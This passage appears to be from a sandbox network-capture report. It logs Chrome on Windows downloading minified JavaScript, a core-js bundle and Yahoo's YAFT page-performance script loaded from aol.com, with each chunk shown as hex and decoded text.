2024-05-23 22:34:40 UTC	1225	IN	Data Raw: 65 63 74 22 26 26 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 3b 46 69 2e 65 78 70 6f 72 74 73 3d 74 79 70 65 6f 66 20 6b 74 3e 22 75 22 26 26 6b 74 21 3d 3d 76 6f 69 64 20 30 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 65 3d 3d 3d 6b 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 7d 7d 29 3b 76 61 72 20 41 65 3d 70 28 28 55 79 2c 6a 69 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 4b 63 3d 6c 65 28 29 3b 6a 69 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 3d 3d 22 6f 62 6a 65 63 74 22 3f 65 21 3d 3d 6e 75 6c 6c 3a 4b 63 28 65 Data Ascii: ect"&&document.all;Fi.exports=typeof kt>"u"&&kt!==void 0?function(e){return typeof e=="function"\|\|e===kt}:function(e){return typeof e=="function"}});var Ae=p((Uy,ji)=>{"use strict";var Kc=le();ji.exports=function(e){return typeof e=="object"?e!==null:Kc(e
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3d 3d 22 73 79 6d 62 6f 6c 22 7d 29 3b 76 61 72 20 44 74 3d 70 28 28 47 79 2c 74 61 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 66 3d 79 72 28 29 2c 74 66 3d 6c 65 28 29 2c 6e 66 3d 4e 72 28 29 2c 61 66 3d 4d 74 28 29 2c 6f 66 3d 4f 62 6a 65 63 74 3b 74 61 2e 65 78 70 6f 72 74 73 3d 61 66 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 3d 3d 22 73 79 6d 62 6f 6c 22 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 72 66 28 22 53 79 6d 62 6f 6c 22 29 3b 72 65 74 75 72 6e 20 74 66 28 72 29 26 26 6e 66 28 72 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 66 28 65 29 29 7d 7d 29 3b 76 61 72 20 55 74 3d 70 28 28 59 79 2c 6e 61 29 3d Data Ascii: &&typeof Symbol.iterator=="symbol"});var Dt=p((Gy,ta)=>{"use strict";var rf=yr(),tf=le(),nf=Nr(),af=Mt(),of=Object;ta.exports=af?function(e){return typeof e=="symbol"}:function(e){var r=rf("Symbol");return tf(r)&&nf(r.prototype,of(e))}});var Ut=p((Yy,na)=
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 6e 3a 22 33 2e 33 37 2e 30 22 2c 6d 6f 64 65 3a 68 66 3f 22 70 75 72 65 22 3a 22 67 6c 6f 62 61 6c 22 2c 63 6f 70 79 72 69 67 68 74 3a 22 5c 78 41 39 20 32 30 31 34 2d 32 30 32 34 20 44 65 6e 69 73 20 50 75 73 68 6b 61 72 65 76 20 28 7a 6c 6f 69 72 6f 63 6b 2e 72 75 29 22 2c 6c 69 63 65 6e 73 65 3a 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 7a 6c 6f 69 72 6f 63 6b 2f 63 6f 72 65 2d 6a 73 2f 62 6c 6f 62 2f 76 33 2e 33 37 2e 30 2f 4c 49 43 45 4e 53 45 22 2c 73 6f 75 72 63 65 3a 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 7a 6c 6f 69 72 6f 63 6b 2f 63 6f 72 65 2d 6a 73 22 7d 29 7d 29 3b 76 61 72 20 56 72 3d 70 28 28 51 79 2c 68 61 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 70 61 3d 48 72 28 29 3b 68 61 2e Data Ascii: n:"3.37.0",mode:hf?"pure":"global",copyright:"\xA9 2014-2024 Denis Pushkarev (zloirock.ru)",license:"https://github.com/zloirock/core-js/blob/v3.37.0/LICENSE",source:"https://github.com/zloirock/core-js"})});var Vr=p((Qy,ha)=>{"use strict";var pa=Hr();ha.
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 65 2c 72 29 7d 7d 29 3b 76 61 72 20 56 74 3d 70 28 28 69 62 2c 54 61 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 42 66 3d 4f 61 28 29 2c 46 66 3d 44 74 28 29 3b 54 61 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 42 66 28 65 2c 22 73 74 72 69 6e 67 22 29 3b 72 65 74 75 72 6e 20 46 66 28 72 29 3f 72 3a 72 2b 22 22 7d 7d 29 3b 76 61 72 20 47 72 3d 70 28 28 61 62 2c 78 61 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6a 66 3d 76 65 28 29 2c 71 61 3d 41 65 28 29 2c 47 74 3d 6a 66 2e 64 6f 63 75 6d 65 6e 74 2c 48 66 3d 71 61 28 47 74 29 26 26 71 61 28 47 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 3b 78 61 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e Data Ascii: e,r)}});var Vt=p((ib,Ta)=>{"use strict";var Bf=Oa(),Ff=Dt();Ta.exports=function(e){var r=Bf(e,"string");return Ff(r)?r:r+""}});var Gr=p((ab,xa)=>{"use strict";var jf=ve(),qa=Ae(),Gt=jf.document,Hf=qa(Gt)&&qa(Gt.createElement);xa.exports=function(e){return
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 3d 22 70 72 6f 74 6f 74 79 70 65 22 26 26 22 76 61 6c 75 65 22 69 6e 20 73 26 26 4a 74 20 69 6e 20 73 26 26 21 73 5b 4a 74 5d 29 7b 76 61 72 20 66 3d 6c 76 28 72 2c 6e 29 3b 66 26 26 66 5b 4a 74 5d 26 26 28 72 5b 6e 5d 3d 73 2e 76 61 6c 75 65 2c 73 3d 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 58 74 20 69 6e 20 73 3f 73 5b 58 74 5d 3a 66 5b 58 74 5d 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 7a 74 20 69 6e 20 73 3f 73 5b 7a 74 5d 3a 66 5b 7a 74 5d 2c 77 72 69 74 61 62 6c 65 3a 21 31 7d 29 7d 72 65 74 75 72 6e 20 24 74 28 72 2c 6e 2c 73 29 7d 3a 24 74 3a 66 75 6e 63 74 69 6f 6e 28 72 2c 6e 2c 73 29 7b 69 66 28 59 72 28 72 29 2c 6e 3d 50 61 28 6e 29 2c 59 72 28 73 29 2c 6f 76 29 74 72 79 7b 72 65 74 75 72 6e 20 24 74 28 72 2c 6e 2c 73 29 7d 63 61 74 63 68 7b 7d 69 Data Ascii: ="prototype"&&"value"in s&&Jt in s&&!s[Jt]){var f=lv(r,n);f&&f[Jt]&&(r[n]=s.value,s={configurable:Xt in s?s[Xt]:f[Xt],enumerable:zt in s?s[zt]:f[zt],writable:!1})}return $t(r,n,s)}:$t:function(r,n,s){if(Yr(r),n=Pa(n),Yr(s),ov)try{return $t(r,n,s)}catch{}i
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 2c 71 76 3d 48 65 28 29 2c 74 6e 3d 52 65 28 29 2c 6e 6e 3d 48 72 28 29 2c 78 76 3d 57 72 28 29 2c 49 76 3d 4b 72 28 29 2c 57 61 3d 22 4f 62 6a 65 63 74 20 61 6c 72 65 61 64 79 20 69 6e 69 74 69 61 6c 69 7a 65 64 22 2c 61 6e 3d 4b 61 2e 54 79 70 65 45 72 72 6f 72 2c 41 76 3d 4b 61 2e 57 65 61 6b 4d 61 70 2c 24 72 2c 77 72 2c 7a 72 2c 52 76 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 7a 72 28 65 29 3f 77 72 28 65 29 3a 24 72 28 65 2c 7b 7d 29 7d 2c 6b 76 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 6e 3b 69 66 28 21 54 76 28 72 29 7c 7c 28 6e 3d 77 72 28 72 29 29 2e 74 79 70 65 21 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 61 6e 28 22 49 6e 63 6f 6d 70 61 74 69 62 6c 65 20 72 65 Data Ascii: ,qv=He(),tn=Re(),nn=Hr(),xv=Wr(),Iv=Kr(),Wa="Object already initialized",an=Ka.TypeError,Av=Ka.WeakMap,$r,wr,zr,Rv=function(e){return zr(e)?wr(e):$r(e,{})},kv=function(e){return function(r){var n;if(!Tv(r)\|\|(n=wr(r)).type!==e)throw new an("Incompatible re
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 29 26 26 28 6f 6e 3f 4a 72 28 65 2c 22 6e 61 6d 65 22 2c 7b 76 61 6c 75 65 3a 72 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 3a 65 2e 6e 61 6d 65 3d 72 29 2c 6a 76 26 26 6e 26 26 58 72 28 6e 2c 22 61 72 69 74 79 22 29 26 26 65 2e 6c 65 6e 67 74 68 21 3d 3d 6e 2e 61 72 69 74 79 26 26 4a 72 28 65 2c 22 6c 65 6e 67 74 68 22 2c 7b 76 61 6c 75 65 3a 6e 2e 61 72 69 74 79 7d 29 3b 74 72 79 7b 6e 26 26 58 72 28 6e 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 6e 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3f 6f 6e 26 26 4a 72 28 65 2c 22 70 72 6f 74 6f 74 79 70 65 22 2c 7b 77 72 69 74 61 62 6c 65 3a 21 31 7d 29 3a 65 2e 70 72 6f 74 6f 74 79 70 65 26 26 28 65 2e 70 72 6f 74 6f 74 79 70 65 3d 76 6f 69 64 20 30 29 7d 63 61 74 63 68 7b 7d 76 61 72 20 73 3d 44 Data Ascii: )&&(on?Jr(e,"name",{value:r,configurable:!0}):e.name=r),jv&&n&&Xr(n,"arity")&&e.length!==n.arity&&Jr(e,"length",{value:n.arity});try{n&&Xr(n,"constructor")&&n.constructor?on&&Jr(e,"prototype",{writable:!1}):e.prototype&&(e.prototype=void 0)}catch{}var s=D
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 70 28 28 4f 62 2c 61 6f 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 64 3d 6c 6e 28 29 3b 61 6f 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 64 28 65 2e 6c 65 6e 67 74 68 29 7d 7d 29 3b 76 61 72 20 73 6f 3d 70 28 28 54 62 2c 75 6f 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 64 3d 6e 72 28 29 2c 69 64 3d 6e 6f 28 29 2c 61 64 3d 63 6e 28 29 2c 6f 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 72 2c 6e 2c 73 29 7b 76 61 72 20 66 3d 6e 64 28 72 29 2c 5f 3d 61 64 28 66 29 3b 69 66 28 5f 3d 3d 3d 30 29 72 65 74 75 72 6e 21 65 26 26 2d 31 3b 76 61 72 20 43 3d 69 64 28 73 2c 5f 29 2c 53 3b 69 66 28 65 26 26 6e 21 3d 3d 6e 29 7b 66 6f 72 Data Ascii: p((Ob,ao)=>{"use strict";var td=ln();ao.exports=function(e){return td(e.length)}});var so=p((Tb,uo)=>{"use strict";var nd=nr(),id=no(),ad=cn(),oo=function(e){return function(r,n,s){var f=nd(r),_=ad(f);if(_===0)return!e&&-1;var C=id(s,_),S;if(e&&n!==n){for

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49791	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:39 UTC	531	OUT	GET /os/yaft/yaft-0.3.29.min.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:40 UTC	891	IN	HTTP/1.1 200 OK x-amz-id-2: goQxVAfrycHMATAfoOmGyRbqQpRdcRrrtgkTZknXuNcLC80mlLVOz4GC1iSmiJIFnxdZMgoXNIUNBCJgO2H6DqdoAvQdl7ZeUzkgir5BlVA= x-amz-request-id: ZY4HG504AT7TSFND Date: Tue, 14 May 2024 14:25:13 GMT Last-Modified: Mon, 04 May 2020 20:25:06 GMT ETag: "96f195b010cdeb89cf3f75ec3b994243" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 x-amz-version-id: null Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 17142 Referrer-Policy: no-referrer-when-downgrade Age: 806967 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 66 75 6e 63 74 69 6f 6e 28 70 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 70 2e 59 41 46 54 29 7b 76 61 72 20 76 2c 54 2c 6e 2c 6f 2c 61 3d 21 31 2c 53 3d 21 31 2c 69 3d 21 31 2c 68 3d 21 31 2c 77 3d 21 30 2c 41 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 72 3d 21 31 2c 65 3d 66 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 46 3d 7b 75 73 65 50 72 65 66 69 78 52 65 67 65 78 3a 21 30 2c 75 73 65 4e 6f 72 6d 61 6c 69 7a 65 43 6f 76 65 72 61 67 65 3a 21 30 2c 63 61 6e 53 68 6f 77 56 69 73 75 61 6c 52 65 70 6f 72 74 3a 21 30 2c 63 61 6e 53 68 6f 77 50 65 72 66 42 61 72 3a 21 31 2c 75 73 65 4e 61 74 69 76 65 Data Ascii: "undefined"!=typeof window&&function(p,f){"use strict";if(void 0===p.YAFT){var v,T,n,o,a=!1,S=!1,i=!1,h=!1,w=!0,A=(new Date).getTime(),r=!1,e=f.documentElement,F={usePrefixRegex:!0,useNormalizeCoverage:!0,canShowVisualReport:!0,canShowPerfBar:!1,useNative
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 6d 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 69 66 28 21 53 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6e 2c 6f 2c 61 2c 69 2c 73 3b 59 41 46 54 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 28 29 26 26 28 54 7c 7c 28 54 3d 44 28 29 29 2c 28 6e 3d 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 59 41 46 54 2e 67 65 74 4d 6f 64 75 6c 65 53 65 6c 65 63 74 6f 72 28 65 2c 21 31 29 29 29 26 26 28 6f 3d 59 41 46 54 2e 67 65 74 4d 6f 64 75 6c 65 4e 61 6d 65 28 6e 29 2c 6e 2e 6d 6f 64 4e 61 6d 65 3d 6f 2c 2d 31 3d 3d 3d 46 2e 6d 6f 64 75 6c 65 73 45 78 63 6c 75 64 65 2e 69 6e 64 65 78 4f 66 28 6f 29 26 26 28 79 5b 6f 5d 3d 6e 2c 69 3d 7b 6d 6f 64 53 74 61 72 74 3a 74 2c 6d 6f 64 45 6e 64 3a 72 7d 2c 73 3d 28 61 3d 6e 29 2e 6d 6f 64 4e 61 6d 65 2c 64 Data Ascii: ming:function(e,t,r){if(!S)return!1;var n,o,a,i,s;YAFT.isInitialized()&&(T\|\|(T=D()),(n=f.querySelector(YAFT.getModuleSelector(e,!1)))&&(o=YAFT.getModuleName(n),n.modName=o,-1===F.modulesExclude.indexOf(o)&&(y[o]=n,i={modStart:t,modEnd:r},s=(a=n).modName,d
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 59 41 46 54 5f 52 45 50 4f 52 54 2e 72 65 6d 6f 76 65 52 65 70 6f 72 74 26 26 28 70 2e 59 41 46 54 5f 52 45 50 4f 52 54 2e 72 65 6d 6f 76 65 45 78 74 72 61 73 28 29 2c 70 2e 59 41 46 54 5f 52 45 50 4f 52 54 2e 72 65 6d 6f 76 65 52 65 70 6f 72 74 28 29 29 2c 75 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 75 29 2c 6c 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6c 29 3b 74 72 79 7b 76 2e 63 6c 65 61 72 52 65 73 6f 75 72 63 65 54 69 6d 69 6e 67 73 3f 76 2e 63 6c 65 61 72 52 65 73 6f 75 72 63 65 54 69 6d 69 6e 67 73 28 29 3a 76 2e 77 65 62 6b 69 74 43 6c 65 61 72 52 65 73 6f 75 72 63 65 54 69 6d 69 6e 67 73 26 26 76 2e 77 65 62 6b 69 74 43 6c 65 61 72 52 65 73 6f 75 72 63 65 54 69 6d 69 6e 67 73 28 29 7d 63 61 74 63 68 28 65 29 7b 7d 62 3d 76 2e 6e 6f 77 28 Data Ascii: YAFT_REPORT.removeReport&&(p.YAFT_REPORT.removeExtras(),p.YAFT_REPORT.removeReport()),u&&clearTimeout(u),l&&clearTimeout(l);try{v.clearResourceTimings?v.clearResourceTimings():v.webkitClearResourceTimings&&v.webkitClearResourceTimings()}catch(e){}b=v.now(
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 29 7b 69 66 28 21 69 29 72 65 74 75 72 6e 21 31 3b 63 3d 21 31 2c 6f 26 26 70 2e 63 61 6e 63 65 6c 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 6f 29 2c 6e 3d 65 2c 67 2e 6c 65 6e 67 74 68 3d 30 2c 63 3d 21 30 2c 6f 3d 70 2e 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 74 29 7d 2c 73 74 6f 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 63 3d 21 31 2c 69 3f 28 6f 26 26 70 2e 63 61 6e 63 65 6c 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 6f 29 2c 6e 21 3d 3d 65 3f 28 74 26 26 74 28 22 46 50 53 20 73 74 6f 70 20 61 63 74 69 6f 6e 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 66 66 65 72 65 6e 74 20 74 68 61 6e 20 73 74 61 72 74 20 61 63 74 69 6f 6e 22 29 2c 21 31 29 3a 28 28 72 3d 57 28 29 29 2e 61 63 74 Data Ascii: ){if(!i)return!1;c=!1,o&&p.cancelAnimationFrame(o),n=e,g.length=0,c=!0,o=p.requestAnimationFrame(t)},stop:function(e,t){var r;return c=!1,i?(o&&p.cancelAnimationFrame(o),n!==e?(t&&t("FPS stop action cannot be different than start action"),!1):((r=W()).act
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 6e 74 54 69 6d 65 22 69 6e 28 72 3d 70 2e 63 68 72 6f 6d 65 2e 6c 6f 61 64 54 69 6d 65 73 28 29 29 26 26 30 3c 72 2e 66 69 72 73 74 50 61 69 6e 74 54 69 6d 65 26 26 28 6e 3d 72 2e 73 74 61 72 74 4c 6f 61 64 54 69 6d 65 2c 22 72 65 71 75 65 73 74 54 69 6d 65 22 69 6e 20 72 26 26 30 3c 72 2e 72 65 71 75 65 73 74 54 69 6d 65 26 26 28 6e 3d 72 2e 72 65 71 75 65 73 74 54 69 6d 65 29 2c 72 2e 66 69 72 73 74 50 61 69 6e 74 54 69 6d 65 3e 3d 6e 26 26 28 74 3d 31 65 33 2a 28 72 2e 66 69 72 73 74 50 61 69 6e 74 54 69 6d 65 2d 6e 29 29 29 29 2c 21 30 3d 3d 3d 46 2e 67 65 74 41 63 63 75 72 61 74 65 46 69 72 73 74 50 61 69 6e 74 26 26 28 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 74 3c 30 7c 7c 31 32 65 34 3c 74 29 29 7b 74 3d 70 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 Data Ascii: ntTime"in(r=p.chrome.loadTimes())&&0<r.firstPaintTime&&(n=r.startLoadTime,"requestTime"in r&&0<r.requestTime&&(n=r.requestTime),r.firstPaintTime>=n&&(t=1e3*(r.firstPaintTime-n)))),!0===F.getAccurateFirstPaint&&(void 0===t\|\|t<0\|\|12e4<t)){t=p.performance.ti
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 65 6e 67 74 68 3b 61 3c 69 3b 61 2b 2b 29 72 2e 70 75 73 68 28 46 2e 77 68 69 74 65 4c 69 73 74 65 64 43 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 73 5b 61 5d 2b 22 5b 69 64 22 2b 6e 2b 27 3d 22 27 2b 65 2b 27 22 5d 27 29 3b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 6f 2b 22 5b 64 61 74 61 2d 79 61 66 74 2d 6d 6f 64 75 6c 65 22 2b 6e 2b 27 3d 22 27 2b 65 2b 27 22 5d 27 29 2c 72 2e 6a 6f 69 6e 28 22 2c 22 29 7d 2c 67 65 74 4d 6f 64 75 6c 65 4e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 46 2e 70 72 65 66 65 72 44 61 74 61 4d 6f 64 4e 61 6d 65 4f 76 65 72 49 64 3f 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 79 61 66 74 2d 6d 6f 64 75 6c 65 22 29 7c 7c 65 2e 69 64 7c 7c 76 6f 69 64 20 30 3a 65 2e 69 64 7c 7c 65 Data Ascii: ength;a<i;a++)r.push(F.whiteListedContainerElements[a]+"[id"+n+'="'+e+'"]');return r.push(o+"[data-yaft-module"+n+'="'+e+'"]'),r.join(",")},getModuleName:function(e){return F.preferDataModNameOverId?e.getAttribute("data-yaft-module")\|\|e.id\|\|void 0:e.id\|\|e
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 72 74 3a 2d 31 2c 72 65 71 75 65 73 74 53 74 61 72 74 3a 6e 2e 72 65 71 75 65 73 74 53 74 61 72 74 2d 6e 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 2c 72 65 71 75 65 73 74 44 75 72 61 74 69 6f 6e 3a 6e 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2d 6e 2e 72 65 71 75 65 73 74 53 74 61 72 74 2c 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3a 6e 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2d 6e 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 2c 72 65 73 70 6f 6e 73 65 44 75 72 61 74 69 6f 6e 3a 6e 2e 72 65 73 70 6f 6e 73 65 45 6e 64 2d 6e 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 7d 29 29 2c 73 3d 76 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 72 65 73 6f 75 72 63 65 22 29 2c 65 3d 30 3b 65 3c 73 2e 6c 65 6e 67 74 68 3b 65 2b 3d 31 29 22 64 6f 63 75 Data Ascii: rt:-1,requestStart:n.requestStart-n.navigationStart,requestDuration:n.responseStart-n.requestStart,responseStart:n.responseStart-n.navigationStart,responseDuration:n.responseEnd-n.responseStart})),s=v.getEntriesByType("resource"),e=0;e<s.length;e+=1)"docu
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 71 75 65 73 74 53 74 61 72 74 2b 74 2c 72 65 71 75 65 73 74 44 75 72 61 74 69 6f 6e 3a 65 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2d 65 2e 72 65 71 75 65 73 74 53 74 61 72 74 2c 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3a 65 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2b 74 2c 72 65 73 70 6f 6e 73 65 44 75 72 61 74 69 6f 6e 3a 30 3d 3d 3d 65 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3f 30 3a 65 2e 72 65 73 70 6f 6e 73 65 45 6e 64 2d 65 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 44 28 29 7b 72 65 74 75 72 6e 7b 77 69 6e 3a 70 2c 64 6f 63 3a 66 2c 64 6f 63 45 6c 65 6d 3a 65 2c 76 69 65 77 70 6f 72 74 57 69 64 74 68 3a 65 2e 63 6c 69 65 6e 74 57 69 64 74 68 3c 70 2e 69 6e 6e 65 72 57 69 64 74 68 3f 70 2e 69 6e 6e 65 72 57 69 64 Data Ascii: questStart+t,requestDuration:e.responseStart-e.requestStart,responseStart:e.responseStart+t,responseDuration:0===e.responseStart?0:e.responseEnd-e.responseStart}}function D(){return{win:p,doc:f,docElem:e,viewportWidth:e.clientWidth<p.innerWidth?p.innerWid
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 74 3a 74 68 69 73 2e 76 69 65 77 70 6f 72 74 57 69 64 74 68 3a 61 2e 6c 65 66 74 3c 30 26 26 30 3c 61 2e 72 69 67 68 74 3f 61 2e 72 69 67 68 74 3a 61 2e 77 69 64 74 68 29 2a 28 72 3d 61 2e 62 6f 74 74 6f 6d 3c 30 3f 30 3a 61 2e 62 6f 74 74 6f 6d 3e 74 68 69 73 2e 76 69 65 77 70 6f 72 74 48 65 69 67 68 74 3f 30 3c 3d 61 2e 74 6f 70 3f 74 68 69 73 2e 76 69 65 77 70 6f 72 74 48 65 69 67 68 74 2d 61 2e 74 6f 70 3a 74 68 69 73 2e 76 69 65 77 70 6f 72 74 48 65 69 67 68 74 3a 61 2e 74 6f 70 3c 30 26 26 30 3c 61 2e 62 6f 74 74 6f 6d 3f 61 2e 62 6f 74 74 6f 6d 3a 61 2e 68 65 69 67 68 74 29 29 2f 74 68 69 73 2e 67 65 74 56 69 65 77 70 6f 72 74 41 72 65 61 28 29 29 3c 31 26 26 28 6e 3d 4d 61 74 68 2e 63 65 69 6c 28 6e 29 29 2c 7b 78 3a 74 2c 79 3a 72 2c 65 6c 43 6f Data Ascii: t:this.viewportWidth:a.left<0&&0<a.right?a.right:a.width)*(r=a.bottom<0?0:a.bottom>this.viewportHeight?0<=a.top?this.viewportHeight-a.top:this.viewportHeight:a.top<0&&0<a.bottom?a.bottom:a.height))/this.getViewportArea())<1&&(n=Math.ceil(n)),{x:t,y:r,elCo
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 69 76 65 53 74 61 72 74 52 65 6e 64 65 72 3f 43 7c 7c 59 41 46 54 2e 67 65 74 53 74 61 72 74 52 65 6e 64 65 72 54 69 6d 65 28 29 3a 53 3f 76 2e 74 69 6d 69 6e 67 2e 64 6f 6d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 45 76 65 6e 74 53 74 61 72 74 2d 41 3a 30 2c 66 3d 6c 3f 67 3a 6d 2c 70 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 46 2e 77 68 69 74 65 4c 69 73 74 65 64 43 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 73 2e 6a 6f 69 6e 28 29 29 2c 68 3d 70 2e 6c 65 6e 67 74 68 3b 69 66 28 74 29 73 3d 21 30 2c 6d 3d 74 2e 6d 6f 64 53 74 61 72 74 3f 74 2e 6d 6f 64 53 74 61 72 74 3a 6d 2c 66 3d 74 2e 6d 6f 64 45 6e 64 3f 74 2e 6d 6f 64 45 6e 64 3a 66 2c 62 26 26 28 62 3c 6d 3f 6d 2d 3d 62 3a 6d 3d 30 2c 62 3c 66 3f 66 2d 3d 62 3a 66 3d 30 29 3b 65 Data Ascii: iveStartRender?C\|\|YAFT.getStartRenderTime():S?v.timing.domContentLoadedEventStart-A:0,f=l?g:m,p=e.querySelectorAll(F.whiteListedContainerElements.join()),h=p.length;if(t)s=!0,m=t.modStart?t.modStart:m,f=t.modEnd?t.modEnd:f,b&&(b<m?m-=b:m=0,b<f?f-=b:f=0);e

